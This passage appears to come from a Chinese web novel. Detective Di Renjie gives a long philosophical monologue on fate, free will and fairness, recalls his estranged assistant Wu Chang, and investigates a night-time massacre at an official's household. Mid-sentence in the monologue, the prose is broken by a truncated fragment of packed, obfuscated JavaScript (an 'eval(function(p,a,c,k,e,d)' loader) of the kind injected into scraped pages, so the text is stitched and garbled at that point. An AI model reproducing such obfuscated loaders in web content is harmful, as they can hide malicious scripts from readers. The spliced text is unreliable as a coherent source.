“而从另一方面来说,任何事物之所以被提倡正是因为这个事物的缺乏。比如说为什么孔子不断地提倡仁义道德?正是因为他所处的春秋时代极度地缺乏仁义道德,所以才要不断地提倡。为什么孟子不断地提倡爱民仁政?也正是因为他所处的战国时代极度地缺乏实行仁政并且爱民的国君,所以才要大声疾呼,希望这种缺乏的事物能够回归。 “这一切的问题,我们往往归结为是命运的安排,又说这个世界本来就是如此的。毕竟大道至简,也许真正的答案确实没有我们所想的那么复杂。然而我依然要去追寻和思索,并且考察这几个问题:命运是什么?世界是什么?我个人跟命运的关系是什么?我个人与世界的关系又是什么?我首先知道命运大过一切,一切都是我的命运,命运的具体显现就是我的整个人生。如果说命运就是一切,那我还是否拥有自由意志?我的自由意志处在命运当中还是在其外?是人的选择导致了自身会拥有这样的命运作为结果,还是命运打从起初的注定便致使了人必然有如此的经历以及会做出这诸般的抉择?既然存在着一种冥冥之中的天数大过一切,那么世人的本身算什么?世人又能做什么?因为无论世人如何做为,自身的一切也仍是被框架于一个至高无上的天命当中,跳不出去。 “没有人知道这个天命或者天数,究竟是谁设定的,但是那就像整个宇宙一样井然有序,有条不紊,把一切都给安排好了,最后呈现出来的结果却像是这一切根本不具有必然性,而是完完全全偶然的。那么,世人说这个宇宙是从哪里来的呢?他们说是因为某种自然的原因,自然而然地就这么来了。那么为什么一代又一代的人要来到人世间,要拥有短暂的生命,最终要走向死亡,以及生命过程当中的一切如此那般,这一切的一切,他们又是怎么解释的呢?他们说也是因为事情本来就是这样,自然而然的,都是偶然。所以,世人大多数都只满足于停留在一种只知其然却不知其所以然的懵懵懂懂的状态当中。 “命运预定跟自由意志之间的关系,也就是本体与现象之间的关系,我们可以深入到这个命题当中去考察,探讨有关于预定和自由的问题。首先,我们先了解一下这两个概念。其中自由是相对广泛的,在这个命题当中,不止可以运用于现象界当中存在物的言行举止、起心动念、一举一动当中,同时,也是本体性存在之所以拥有其绝对性的最根本原因:其为绝对自由者。这是不是说我们不拥有绝对自由呢?这个问题稍后再细说,因为这是一个关于相对关系的讨论,相当复杂。现在只能说,我们人的自由肯定是相对的,只是相对于相对有接近于绝对的概念性存在罢了,也可以说绝对自由是因为我们自由的相对性而引发的一个对立性的假定存在,关于这一点,代表人物是庄子。庄子在其《逍遥游》当中所探讨的便是自由的相对性以及绝对性的问题。 “我们继续说刚刚论及的概念问题,首先已经确认了的是,自由是一个同时属于本体和其对立面的东西,只不过双方各自有着彼此不同的绝对性以及相对性的意义。那么有关于自由这个概念的对立面,也就是预定这个概念,它很显然并不是属于本体和现象双方的,因为其所蕴含的超越性以及绝对性本身,就说明了其不属于被预定的那一方面,当然,这是说预定这件事在其实施层面,也就像自由在其运用层面,并不是说被预定者与预定本身毫无关联,这是误解。如果毫无关联,那么预定和被预定就都不存在了。 “只是有关于预定本身的存在,加在被预定者之上,其存在性并不意味着被预定者需要首先意识到预定这件事的存在,这种对于预定存在的意识并非被预定者被预定的先决条件,只是后知后觉罢了。倘若意识成为了被预定的先决条件,那么本体的绝对性也就反过来受制于人有限的意识了?这显然是不可能的,是一种荒谬的结论,就像说‘理性无法证明的以及经验无法接触的范畴就一定不存在’一样的荒谬。这是极大的错误,虽然所谓的不存在,是相对于一个有限的理性和经验而言,从这个角度来说,也不能说是错误的,只不过,这仍是一个相对性的问题,而一旦离开了具体的、片面的主体性认知,不可知范畴的存在性,也就是其拥有的客观实在性,也就被同时否定了。 “现在我们回到主题,究竟什么是预定,什么又是自由?如果直观地去理解和考察,似乎承认两个概念当中任何一方拥有绝对性,它们就不可能同时存在,至少不可能一起绝对存在于彼此的相对关系当中。这是为什么呢?因为预定的本身,似乎就表明着自由的消亡。反之,自由如果被绝对化于被预定者身上,那么预定也就同样相对化了。换言之,这二者当中任何一方的绝对化,都表明着其对立面的相对化;二者当中任何一方的相对化,也表明着其对立面的绝对化。 “现在,我们先用最普遍的也是最肯定的概念含义来接受有关于这个命题当中预定和自由二者的意思,也就是说,它们二者做为概念存在本身的含义是什么。当我们讲一个本体预定了有关于现象界的一切的时候,我们首先就是承认了一切现象的存在都具有必然性,因为一切都是提前预定好的,那么偶然性就是现象本身的表象,而非现象存在的本质。什么叫做现象本身的表象呢?这是说,现象做为现象存在,不一定被认识的主体看做是表面现象,也许主体认识的是一个具有实在性的实体存在。而这个被当做是实体存在的现象之所以存在,乃是因为纯粹的偶然性使然,而非由必然性造就。一个纯粹偶然的存在,也就不可能拥有其存在的必然性了,这似乎是理所当然的。然而,偶然性与必然性同样是相对的两个概念,其中一方的存在都表明着自身对立面的存在。那么偶然性被当做必然性就是误认为现象就是本体的必然结论。 “只是有一点,既然两个相对性的存在同时都存在于概念当中,也同样存在于实际层面,那么,二者的相对性并不意味着它们就是绝对的相互矛盾的。这又是为什么呢?因为本体的预定和人类的自由,有可能根本就不存在于同一个范畴。换句话说,预定也许属于一个高于人类自由意志的范畴,却又同时囊括了、笼罩了人类的自由意志。反过来说,人类的自由意志却是一个远远低于本体预定的范畴,所以并不能用相对的自由意志去反过来干预和改变本体的预定的绝对性以及必然性。也就是说,所谓的偶然性,只是人类的有限性所论断的由自身观察出来的表象,而必然性却是在人类的现象界范畴之外的绝对真理。 “那么问题来了,如果这就是终极答案和最终的结论,那么,人类究竟还有没有真实的自由意志?因为如果一切现象都是预定的,自由意志还能算得上是自由意志吗?刚才我已经说过了,必然性和偶然性并不冲突,因为这是用不同的视角来观察现象的存在。同样,本体的预定和人类的自由,也是不冲突的,因为一个范畴高过另一个范畴,以至于高的那个范畴囊括了整个低的范畴,而低的范畴却浑然不知,也无法明显地感受到自身的范畴已经被更高的范畴囊括了,被更高的范畴包裹在外面。 “用一个比喻来说明了话,就好像一个密封的瓶子里装了一部分的水,这个封闭的瓶子里面的水可以自由地晃动,其自由相当大,只是再大也大不过这个瓶子为它设定的范畴,也就是说,水在瓶子里的自由是有其极限的,这个极限恰好就是装水的这个密封的瓶子本身,所以瓶子自然是大过水自由活动的一切方位的可能性的,然而却不能说,这瓶子因为是封闭的,里面的水就没有丝毫的自由可以活动,水是有自由的,只不过不是无限的自由,而是有限的自由,不是绝对的自由,而是相对的自由。虽然,瓶子里的水自身未必能够意识到这一点罢了。也许,瓶子里的水还感觉自己相当自由,可以到处活动。殊不知,水离开了摇晃瓶子者,自身甚至无法自己在瓶子里面动弹。而当瓶子的摇晃连带着里面的水分也跟着摇晃的时候,水却认为是它自己在动,在一个绝对的空间里面运动,因为除了这个封闭的瓶子以外,就没有其它的空间可以属于里面的水的存在了。除非,有人把水从瓶子里面倒出来,那就另当别论了,虽然,这依然不属于水自身的自由意志。试问:人类跟这个瓶子里面的水比起来,谁更自由?也许这个宇宙,就是属于人类的一个瓶子,这个瓶子就算不是密封的,里面的水也很难自己出来。这就是相对的绝对自由,绝对的相对自由;有着必然性的偶然性,有着偶然性的必然性。关于人类自由意志的问题,庄子给出的答案就是不依靠任何外物、无所凭借,在自身的精神上达到与宇宙天地万物合而为一的绝对自由。 “再说我与世界。没有一个主体去认识存在,没有一面如同湖水般清澈的明镜倒映着它们的形象在我的心里,相对于主体而言,所有这些被认识的客体也都是虚无。也就是说,它们都是存在于你我认识之中的现象,是你不曾看见它们的形象以前认识当中的没有印象的状态,因为那时它们还不曾成为你我所认识的对象。所以我说,你我心中对任何一个对象的认识,就是这个被认识的对象存在于你我心中的开始,因为主体产生了认识过后的概念,不再是和认识的对象没有产生具体关联的时候那样,主客体是彼此分开的。 “墨子曾经说过一句名言:‘不镜于水,而镜于人。镜于水,见面之容;镜于人,则知吉凶。’我以为啊,这话也未必尽然。一个人,就算是看尽了世上的一切纷纷扰扰,却始终不曾回顾自身,看尽了尘世中各色各样的面容,却从来也不去看一眼自己,那么这个人的认知,又何尝不是极其有限的:因为这个人不知道,相对于自身而言,世上万般皆是其附属啊。一个人,当然可以从外界和他人身上,反过来认识自己,然而,也同样可以从自己身上,从自己心里,向外去延伸,认识世界。每个人都存在于一个看似相同的世界里,而实则不然:每个主体看到的都是不同的世界,都是主体意识中主观感受到的世界,是被自我的主观感受歪曲了的世界,而并非世界之本貌。有谁能说,世界是其完全认识的对象?世界永远是被主体认识的对象,虽然主体也在世界这个客体之中,然而谁也无法准确地去认识,你看到的都是一个个毫无关联的、片面的物质形状,你无法准确地看到这一切存在的总体,以及存在与永恒性之间的关系:它们的存在本身完整的意义,它们和永恒性相关的恒常的面貌,而且不是指其存在的表象,而是其真实的状态,是指其存在中所蕴含的绝对性,其本来面貌,其于存在的表象之下的本然。 “所以说,当你看着你自身时,你实际上也是在认识世界,因为你就在世界之中,同时也可以存在于世界之外。你的自身,同时可以是一个认识世界以及天地万物一切存在和事物的主体,也同时可以是被其他无数个主体认识的对象,也就是客体。同样,你自己也可以做为一个主体,去认识你自身,也就是把你自身当成是被你这个主体认识的一个客体对象,这包括你自己的身体,你的面貌,以及那不可见的心灵,这一切的一切,都成为了你自身的认识对象,主客体在这种状态下是合一的,认识的主体和被认识的客体不再有着分别,这就是一个人的自我意识:一个人真正的存在,在于其对于自身存在的意识,在于其自身和这个世界被其视为认识的对象了,而只有这时,存在才呈现出了存在的存在性,虽然,这一切依旧不能直观地去触摸一切存在的本然,甚至是,背道而驰,离绝对真理越来越远,以至于用主观意识反过来蒙蔽了客观的实在,而这些都是主体认识过程中的偏差,也是思维难以避免的局限性和片面性。任何一个事物,任何一个对象,都是相对的有限的存在,它们都是永恒性的对立面,虽然,天道之大到极致,最终回归无有,所谓短暂相对以及永恒绝对这些依然是相对的概念,都要一同消亡泯灭,不复存在,而这是在我所说的言语之外的另一个范畴,要用本心去自己体会,不可过多言说。 “至于这世道的种种不公,我是见得太多了。关于公平公正的问题,我想了很久。公平公正,是我狄仁杰毕生的追求,是我想在这个世界上实现的终极理想,也是古圣先贤共同追求的理想。为什么这世上实现不了公平公正?因为这世间有差别。这个世界就是由无数个对立体和千差万别的事物组成的,其中国与国、民与民、人与人之间因为差别的缘故,而必然的有战争、仇恨、歧视。种种说不完的差别,构成了这个充满了矛盾的世界。古人所追求的是一个‘天下为公’的‘大同’世界,这也是我所追求的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我狄仁杰,当年拼了这条命,最终做到了。在法律面前,人人平等,王公贵族犯法当与庶民同罪,任何人都不能逃脱正义的审判。一个人秉公执法难吗?很难。不处在这个位置的人,不可能理解这种艰难。除非能够做到不存任何顾虑,只唯独向自己的良心交代,才能够超越一切困难,在人世间实现正义,以维护法律和天理,保有人性的尊严。如此,才无愧于为人一遭,才配得上自己的存在! “当年还是唐朝高宗年间,我以不畏权贵、犯颜直谏而闻名天下,从此天下人都知道了有我狄仁杰这么一个人。我做大理寺丞的那段时间里,那会儿还没有你韩忠义陪在我左右,作为我的助手跟着我一同断案的,是一个名叫‘吴常’的青年,他当时经我提拔,做的是大理寺当中的一个小吏。他也是一个善良正直又充满了豪情壮志的好男儿,可谓文武双全,跟忠义你挺像的。我们二人关系很好,可惜后来我升迁了以后,跟他就再也没有见过面了。这些年来,也不知他过得怎么样了。” 韩忠义道:“卑职倒是时常听大人提起这个人来,卑职也很想见见这位‘吴常’前辈,不知此生此世是否有这个缘分了。欸,大人,那你升迁以后,可曾回大理寺来寻找过他呢?” “那是自然的,”狄仁杰道,“吴常是我的知己,我无时无刻不想念着跟他再次见面。但当年我回到大理寺的时候,却没有找到他。我当时打听到了,原来就在我离开大理寺以后没过多久,他也就辞去职位离开了。他后来也没有主动来找过我,所以我们二人也就没有再见过面了。” “这也奇了,”韩忠义说道,“既然他跟大人的关系很好,又怎么会不辞而别,连声招呼都不跟大人打呢?” 狄仁杰轻叹了一声:“其实我们二人,到了后来,彼此的关系上确实出了一点问题。” “到底怎么回事啊大人?” “我跟吴常,在政见上,略微有了一些观点的分歧。”狄仁杰说道,“是关于当今圣上的。因为当时,先帝,也就是高宗皇帝,虽然名头上是皇帝,但是权力并不完全在他的手中。当时跟他一起参与朝政的便是当今圣上,她老人家那会儿是高宗皇帝的皇后。那段时间人称‘二圣临朝’,皇帝跟皇后之间的权力此消彼长,可终究还是皇后的权力大一些。自从先帝患病以来,就无法再独自理政了,因而自然需要皇后的帮助。倘若先帝强行从皇后手中夺权,而他自身的身体状况却依然无法让他得以独自理政,那么他势必要再次放权与人,而这个人倘若是当朝宰相,就有再一次弄出像永徽年间长孙无忌那样的权臣的可能,到时先帝照样要大权旁落。先帝最初跟皇后联合起来的原因之一就是为了要从权臣手中夺回权力,只是到了后来,先帝病了,而除了皇后,他还能放权给谁?所以说,先帝也是无可奈何。皇后替高宗处理政事多年,威望日重,又在朝中培植党羽,她想要夺权的心思渐渐地成为了众所周知的事。偏偏病情越来越严重的高宗一点也离不开她。后来,皇后让高宗成为了‘天皇’,而她自己又成为了‘天后’。她又跟着先帝参与了封禅大典,许多礼仪都僭越了。很明显,她走的每一步都在向最高的权力进发,而且不会因为任何舆论而停下来。就在先帝准备让位给太子的时候,太子又突然暴毙身亡,而人人都知道,太子是被天后毒死的,因为就连她的亲生儿子,也会成为她夺权路上的障碍,成为她这个母亲的政敌。所以后来又立了太子,却又被天后废掉了。当时虽然名义上仍是李唐的天下,但这波谲云诡的政治博弈最终的结果如何,并没有人敢肯定地说自己知道。当时的朝政大概就是这样的一个情况,这你也是知道的。 “那当时呢,吴常的看法是,如果先帝真的要在这场权力斗争中败于皇后,那么,他吴常有意要组织人马,举兵起义,来进行他所谓的‘清君侧’,把他所谓的‘女子与小人’用武力强行弄下去,以匡扶李唐的社稷。我当时惊讶于他的激进,我第一次观察到了他的另一面。吴常的这另一面,令我感到了一种恐惧和不安,因为凭我对他的认识,我相信这话他是既能说得出口,也敢于付诸行动。我盯着他忽然就变得狠厉的眼神看了许久,透过这双本来很明亮的双眼,看到了他内心深处潜藏的黑暗。这是我从未察觉到的他身上的阴暗面。我记得自己有些轻微地颤抖了起来,因为我害怕了。我害怕的是吴常会走向犯罪的道路。我真的很担心,他会因为他的这种激进的性格,而由于某种因素的刺激,最终将他的人生拐到了极端的另一头。他这种人,如果做不了一个好人,就会选择做一个坏人,做不了一个善人,就会选择去做一个恶人。而且他有多善良,就有可能变得多么邪恶。这是他这样的人必然的人生路,因为他有着走极端的性格。 “其实这个吴常,除了我,没有人了解他都经历了些什么。他从小就父母双亡,成为了孤儿,沿街乞讨,做了乞丐,看尽白眼,受尽屈辱,从小就过着饥寒交迫的生活,并且没有人爱他,给过他一点点的温暖和安慰。他到别人家干苦力活,那些人家也欺负他,不把他当人看待。他很好学,时常到学堂的窗外偷听里面的教学声,自己凭借着超高的才华学会了认字读书,然后自学成才。他更是勤苦练武,有一身极高的武功,却并不用来欺负别人,反倒有几次,路见不平,出手行侠仗义,之后默默地就离开了,也不求名声,不求回报。就这样一个人,一个文武双全的人,却屡次科考落榜,无法出头,穷困潦倒,独自一人住在贫民窟当中,吃着稀粥度日,不曾婚娶,也找不到任何可以赖以谋生的职业。他还有太多的悲惨经历,我既说不完,也不想再说了,因为我为他感到心痛。反正到了后来,真正认识到他的好的人,竟然只有我狄仁杰一个人,除了我以外,再也没有他人了。我知道,这世道从来就是不公平的,但我依然感到难过。到底是为什么?或许不会有答案。难道,这就是一个人的命运?或许吧。 “我提拔了他,我感觉自己,跟他是知己。吴常呢?我并不希望他把我看得太过重要,因为我不值得,我希望这个有着如此悲惨经历的年轻人,今后的路能够幸福,这样我也就心满意足了。我们自从认对方为知己以后,就一起断案,一起做事,一起为改变这个世道的不公而尽自己的一丝微薄之力。我们在一起共事的时间虽然不长,也可能,还不到一年,但是,他是让我印象最深刻的一个人,因为他实在是太独特了。那是在高宗仪凤年间,我做大理寺丞的时候。他那时是我查案的助手,也帮了我很多忙。他似乎很热衷于跟我比胜负,看谁破的案子多,看谁破案更快。那一年,至少有涉及一万七千多人,那么多的积压案件。结果如何呢?他总是在时间上比我慢半截,或者是在推断上出现了偏差,所以,最后我是彻彻底底地赢了他,而他似乎也并不因此而沮丧难过,反倒是对我多了无限的敬佩。我也并不因为赢了而自豪,因为我其实并不在乎什么输赢。我反倒因此而佩服他的胸襟,倒是颇有君子风度。这都扯远了。 “刚才说起那一年,我们二人关于朝政的看法,出现了分歧。他想要用暴力的手段强行将皇后的权力夺回给李唐,就算是血流成河,他也不会后悔。当时,他说完了以后,又问我的看法。我虽然知道,他渴望的是我能说出跟他一样的话来,也就是说,他希望我跟他的看法一致。但我犹豫了片刻,还是说出了我心中的真实想法:我不赞同他的这种想法。他当时听了我这话,显得很失落,问我是怎么看的。我就说,不管最终权力落到谁的手里,只要这个人能够对得起老百姓,能够爱天下人,能够治理好这个江山,能够让这个世道太平,那么,这个人是姓李还是姓武,其实也并没有那么重要。虽然如此,我当时却依然是站在李唐这一边的,因为我狄仁杰毕竟是一个唐朝的臣民。我出生在太宗皇帝所开创的贞观盛世里,成长在大唐的繁荣世界中。这是一个历经了东汉末年、三国鼎立、五胡乱华、南北纷争、隋末离乱这几百年的乱世,才出现的伟大的世代。这是伟大的太宗皇帝一手开创的盛世。我又怎么会希望这个天下最终落在了外姓手中?但当时,吴常并不能理解我的意思。我不是希望当时的皇后能够夺走李唐的天下,我更不会去主动帮助她来对付李唐,我只是不希望,这片饱经战乱浸透着鲜血的大地,又复战火重燃、生灵涂炭,就为了所谓的正统与否,我认为......不好。不是我狄仁杰的心里没有李唐,而是因为,我更在乎的是百姓。这个理由,我也曾对吴常说过一点,他却坚决反对,因为他的看法是,这世上的鲜血总是要流的,仅仅是为了保住一个我狄仁杰所谓的‘太平盛世’还有‘老百姓’,而放弃了作为李唐的臣民的理想、原则以及责任,那才是真正的不道德,是他认为的‘乱臣贼子’。我当时说,虽然是这样,但是,这世间之事,总是难以两全的。我跟他说,也许,我们两个人的看法都没有错,也都不完全对,但是,我依然认定了我自己的看法,或许更值得去追求,我依然认为,有许多鲜活的生命,更值得我去守护。 “从此,我跟吴常的关系就有点变了,你说是变坏了,似乎也不见得,但是,我能清楚地感觉到,其实真正的改变的人,并不是我狄仁杰,而是他,吴常。又或许,他本就是个该改变的人呢?我也不知道。后来有一天,吴常又问我:你以后会变吗?我当时回答他说:人总是会变的。我又说:但我曾经的理想,至今未变,今后也不会改变。他问我,我的理想是什么?我只回答了四个字:无愧于心。 “当年的事,我如今也记不太清了,但我记得,自此以后,我跟吴常之间的距离就因为一个无形的观点而越来越远,直到最后,我们彼此之间再也看不见对方了。这二十多年的分别,就是证明。也许,他也不想再见到我了吧。后来没过多少年,先帝驾崩以后,皇太后又废了太子,没过多久,徐敬业在扬州起兵,不知道吴常那会儿有没有跟着参与了谋反。还有后面几年李唐的子孙们起义,不知道吴常又是否参与其中。” 狄仁杰说着往事,不由得叹了口气。韩忠义也叹了口气。 这时,骤雨渐歇,雨势转小了,天上下着毛毛雨。 狄仁杰那种不安的感觉忽然加剧了,他说:“我们扯远了。我刚才就有一种不祥的预感,是关于彭大人的,而且就跟今天晚上的这场大雨有关,也许,跟我们恰好要在这个时间点准备出发有关。我现在说不清楚,也没有任何根据,但是我适才的话确实包含了我心中的疑虑。陛下对彭大人的突然提拔,本身就有蹊跷。我现在怀疑,彭大人的身上还存在着我们尚不知晓的秘密,这个秘密可能跟陛下有关,甚至,我敢大胆地猜测:我们这次出发提前定好的时间,也就是明日一早,跟这件我也说不清楚是什么的事情可能也有关。” 韩忠义道:“大人,你的根据是什么?” 狄仁杰道:“我已经说了,我现在没有任何可以拿得出来的根据,但是,如果你硬要我说出一个根据来,那就是:凭我多年以来断案的直觉,我认为,也就是这种直觉告诉我,因为我们明日一早要离开,所以今天晚上,京城很可能会出事。” 韩忠义听了这话,也莫名地紧张了起来:“大人,你说今晚会出事?出什么事?哪里出事?” 狄仁杰道:“很可能是彭大人。” 韩忠义道:“那么卑职现在就去外头稍微瞧一瞧,如果有事,卑职及时回来跟大人禀报。” “好,”狄仁杰点头,“那就辛苦你一趟。忠义啊,你只需在我们附近这几条街,尤其是彭府周围稍微看一看有没有异样就好,譬如说,有没有亮着灯,有没有什么人在附近鬼鬼祟祟。虽然我也知道,街上此刻有吕队长和他的巡逻队,但是他们人数太少了,又不是专门负责在彭府周围巡逻,所以就算是真的出事了,他们也来不及赶到现场来。好了,忠义啊,你快去快回,如果没有什么明显的事,就算了。” 韩忠义点了点头:“大人,你在此稍候片刻,卑职去去就来。”说着,出了大门,来到了漆黑一片的院落当中,头上仍下着毛毛雨。 韩忠义纵身跃起,跳到了屋檐上,展开轻功,从一个个屋顶上飞跃而去。 狄仁杰独自在狄府中的大厅里来回踱步,愈发感到不安。他喃喃自语:“这本来就是一个不可告人的阴谋,我的直觉应该不会有错,因为如果今夜有人动手,被陷害的人就一定是我。但如果真的发生了这样的事,那提前向歹徒透露消息的人,不就是......他了吗?” 狄仁杰不敢往下再想了。他希望韩忠义回来禀报说,什么事都没有。因为如果今晚真的出了事,那很可能是一个规模很大的事件,这样才能顺理成章地引起人们的注意,好把矛头指向自己。可提前知道这次出行时间的人,除了他们四个人以外,就只有陛下,还有那个人了。除非皇帝又把消息告诉了别人,否则的话,通风报信的人,就在这几个人当中,而那个人的可能性最大。可......为什么呢?他的动机是什么呢?狄仁杰想,那个人,他没有理由要害我啊。 “不可能,”狄仁杰不断地告诉自己,“绝对不可能,不可能是他。不一定,不一定真的就会出什么事,都是我胡思乱想了,我是瞎猜的,我什么都不知道,怎么可能今晚真的出事?怎么可能是彭府出事?就算是真的出事了,这本身就不一定,不可能!但是如果真的出事了,那么那个通风报信的人,难道......难道真的会是他?不!我不相信,我宁愿相信,那个通风报信的人,是......是皇上她老人家。因为,这次的出发时间,毕竟还是她老人家定下的......” 这时,韩忠义突然飞奔了进来,来到了狄仁杰的面前,半晌说不出话来。 狄仁杰一见了他这样,立刻就闭上了双眼,因为,他已经知道了。 韩忠义说道:“大人,果然不出你所料,彭府......被灭门了。” 狄仁杰仰头喟然长叹:“苍天哪!” 韩忠义也有点发懵,瞪着两个还没有缓过来的眼睛,颤抖着说:“大人,该怎么办?” 狄仁杰也没有立刻决断,他也有点发懵,过了半晌,说道:“如果我不管,那便是弃天下安危于不顾,而如果我去管,那我就是主动选择入局,结果就只有死路一条。我该管吗?” 韩忠义道:“大人你说什么?入局?我们如果去管,就是......” “不,”狄仁杰道,“我没有选择了,因为我们已经入局了。这条边关之路,从我答应陛下的那一刻起,就已经开始了。不是明日一早,是我答应陛下我愿意走这一段路的那一刻,我就已经开始行走在这条路上了。这是一条无法回头的死路。我狄仁杰,没有选择了。” 韩忠义喘着气,定定地看着狄仁杰,一句话都说不出来了。 “那就走吧!”狄仁杰突然叫了这么一声,“我们立刻就走!走,先去案发现场!”他随即叫韩忠义:“忠义!” “卑职在!” “你赶紧去叫醒胡乐和狄宁,叫他们把行李和包裹先都带上,因为我担心,我们回不来了!” “是,大人!”韩忠义连忙跑过去叫醒了胡乐和狄宁,两个人紧张兮兮地也都跑了过来。 胡乐大叫:“呀!老爷!我正睡着呢,还以为已经明天早上了,没想到还是半夜三更呢!到底咋了!” 狄仁杰说:“来不及解释了,我们几个人得立刻出发!”他也不去理会胡乐在那边吵吵闹闹,韩忠义痛骂胡乐怎么还不去准备行囊包裹,狄宁倒是很自觉地先跑去准备了。 狄仁杰快速想了想,逼着自己先冷静下来,然后在脑海中分析了一下当下的情况,随即叫韩忠义:“忠义,你现在立刻赶往西街口,那里是出城的必经之路,又是捷径,如果歹徒真要出城,那里是你最好的拦截地点。赶紧去,再晚就来不及了!还有!记得回来的时候不要回狄府了,直接来彭府案发现场!” 韩忠义也不多问,立刻道:“是!卑职现在就去!”说着,整个人飞奔出去,展开轻功,直接朝城中西街口飞奔而去。 胡乐正在一旁问:“老爷,我能做什么?” 狄仁杰想了想,命令他:“胡乐!你立刻到后院马厩里自己找一匹马骑上,立刻到城中西街口去跟忠义说:如果歹徒手里有人,八成便是彭大人。如果真的有歹徒兵分两路,你就立刻暗中跟上,记住,不要打草惊蛇,要暗地里偷偷地去跟踪,看看他们将彭大人带往何处。记住,不要冒险,跟不上就算了。记得回来的时候不要回狄府了,直接来彭府案发现场!快去!” 胡乐这时候也不犹豫了,说了声:“知道了老爷!”立刻就跑了出去,到马厩里牵了一匹马出来,上了马,来到漆黑一片的街道上,朝西街口方向飞驰而去。 狄仁杰安排好了他们二人,府里还剩下一个狄宁,他也带着一大堆行囊包裹快速走来,背在身上。 狄宁道:“老爷,我们怎么办?” 狄仁杰说:“我们准备去彭府案发现场一探究竟。”忽然又想到了什么,连忙快步走到桌案前,整个人在椅子上坐了下来,拿出一张纸来,又拿起毛笔来,蘸墨水,蹙起眉头想了想,随即下笔极快地书写起来,写的是行书,笔法遒劲有力,如行云流水一般,几乎是不假思索,一挥而就。 狄宁问道:“老爷,你在写什么?” 狄仁杰搁下笔来,在墨迹尚未干透的纸上轻轻吹了几口气,然后将纸张折叠起来,拿起桌案上的一个信封,将折叠的纸张装进信封当中,然后将信封放在桌案上的正中央,站起身来,跟狄宁说:“我们走。”又说:“狄宁,先把府里的烛光吹熄。我有预感,我们今晚不会再回来了。”于是跟狄宁一起把狄府里各处点上的灯火吹灭。一时,府里一片黑暗,伸手不见五指。 狄仁杰跟狄宁二人立刻出了大厅,到马厩里牵出了三匹马来,他们二人骑上马,又让一匹空马跟在后头:这匹马是给韩忠义留的。狄仁杰和狄宁骑马来到了彭府前,看到了明亮的灯光下,府里惨不忍睹的案发现场。 却说彭府案发现场,韩忠义问道:“大人,方才,你并不曾察看作案现场,尚且不知府内有没有彭大人,却怎地料到他会被歹徒劫走,又叫我到西街口拦截呢?” 狄仁杰轻轻地摇了摇头,道:“我想,应是凭直觉吧。或者说,是我多年办案的经验,使我在听说了彭府惨遭灭门的那一瞬间,便已得到了答案。许多结论,的确是难以解释的,然未必就不合情理。这其中存在着千丝万缕的联想,可它们也并未被忽略,只是难以确切说明。这时,往往需要用事实来证明自己的结论,乃是正确与否。 “我并未一开始便说,彭大人是被劫走的。我只是觉得歹徒杀完人,并非没有劫走某人的可能性,而这被劫走之人定然有其被劫之原因,譬如说,他十分重要。我于是先就遣你守在了西街口,因为那是出城的必经之路。而我也并不知歹徒是否真要出城,只不过万一如是,那么也可以暂且拦截,拖延一下时间,巡逻队倘若正巧赶上,甚至还能有所转机。 “然而歹徒既是有备而来,这等缓兵之计料也无甚用。只是城门须等到辰牌时分方大开,他们又岂能夜间出城?他们至多离得城门口近,清晨时好行动。若能提前了解他们的行踪,他们毕竟还在城中,那么一切都还好办。 “后来我猜测歹徒劫走了彭大人,因此派胡乐前去通知你,又嘱咐他暗地里再亲自去跟踪。 “至于猜到了是彭大人,也不是察看了作案现场才得知的,而是因为想到了这一点:歹徒若只欲杀害彭大人一人而已,又何必大费周章去杀他一府?他们既有本事杀他一府,难道还杀不了他一人?说明他们虽是冲着彭大人而来,却又不仅是冲着他而已,还必须要杀他一府。表示说杀彭大人一府本身便是他们计划中不可或缺的一部分。 “既然是因为冲着彭大人才杀了他一府,那么他一府被杀之后,他彭羽作为一府被杀之主因又岂能独活?他完全有可能已经被害了。如今再回过头来看,那些歹徒所携之人又会是谁呢?定是他们从彭府中带出之人。那么彭府中除了彭大人以外,又有何人比之更为重要呢?因此我猜测,歹徒所带走之人,不论是死是活,八成便是彭大人。” 韩忠义与那秉烛的狄宁听了,齐点头称是。 5. 第五章 失踪 韩忠义遂将遇到歹徒之后发生的事,一一备细告知于狄仁杰。 狄仁杰听了,道:“你与我说说这‘寒刀帮’。” 韩忠义道:“关于这寒刀帮,卑职也只是略有耳闻,并不甚熟。这寒刀帮,乃江湖上最神秘的一个组织,其中杀手如云,武功高强者遍及。他们的真正动机也不甚明了,或许也只是为了钱财而已。而他们的行踪更是神鬼莫测,只有他们寻上人,人们却是无论如何也找不着他们的,因此就连官府也拿他们无法。然他们已许久未曾再次露面,今夜却现身于京城,还劫去了朝廷命官,实在是匪夷所思。” 狄仁杰低头望着遍地死者,沉默一时,道:“方才你说,他们作战时手握短刀,又武功极高,且他们的领头还不自觉地亲口承认了。除此以外,可还有什么更为确切的根据?” 韩忠义突然“哦”的一声,一面从怀里取出一方手帕,打开来递与狄仁杰:“差点忘了,这是与那领头的对战时,他抛出的暗器,卑职捡了一根。大人小心,针头有剧毒。” 狄仁杰将针瞧上一番,见它细到几不可见。听韩忠义又道:“这暗器唤作‘雪松针’,它既透明,射将来时又极快,一旦身中,顿感冰寒刺骨,假若内功不济,甚而当场毙命。而寒刀帮所使的独门暗器,据说就是它。” 狄仁杰点头“嗯”了一声:“适才我检查前院许多护卫的尸身时,见他们唯一的致命伤是一小红点,再看四周,却并无造成此伤的暗器。若果我猜得没错的话,他们亦是中了这雪松针。而此针,便如雪一般,不久便即融化不见了……” 话未了,韩忠义、狄宁皆一惊。果然,手帕上的针转眼间便不见了,只化作了一点雪水。 韩忠义望着那微湿的手帕,问道:“大人,怎么会这样?” 狄仁杰道:“因为空气。这针的外壳如同薄冰,内里却是空的,因此当针于空气中停留片刻之后,便会自行消散。” 韩忠义点头道:“怪道寒刀帮作案,能在杀人现场不留一丝痕迹,人们亦查不出死者伤口何在。原来并非没有伤口,只是太小,以致于无人注意,再加上暗器又自行消失的缘故,便成了迷案。人们虽猜测唯有寒刀帮才能为之,却也并无证据指认。” 韩忠义此时亦是满腹疑惑,然见狄仁杰正自思索,也不好多问的。 狄宁则向来沉默寡言,安分守己,从不肯多说一句话。 因此三人皆在寂静之中度过了片刻。 这时,忽听得外边马蹄声响,由远而近,一骑正朝彭府飞驰而来。 狄仁杰道:“是胡乐回来了,估计跟丢了。” 果然,马停在了大门口,那矮胖小子胡乐跑了进来,中途还被地上的尸体给绊了几跤,踉跄到了大厅,喘了口气方道:“老爷,跟丢了……” 